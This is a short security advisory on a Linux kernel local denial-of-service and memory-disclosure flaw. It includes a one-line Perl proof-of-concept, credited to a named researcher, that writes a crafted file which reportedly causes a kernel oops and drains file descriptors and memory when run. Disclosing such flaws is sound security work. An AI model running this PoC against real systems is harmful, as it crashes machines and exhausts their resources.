Linux Kernel Local Denial Of Service And Memory Disclosure Vulnerabilities

A proof-of-concept exploit for the first issue was provided by Florian Heinz <heinz@cronon-ag.de>:

perl -e'print"\x07\x01".("\x00"x13)."\xc0".("\x00"x16)' > eout

Executing the resulting 'eout' file reportedly results in a kernel oops. Repeatedly running the resulting file will consume file descriptors and memory.
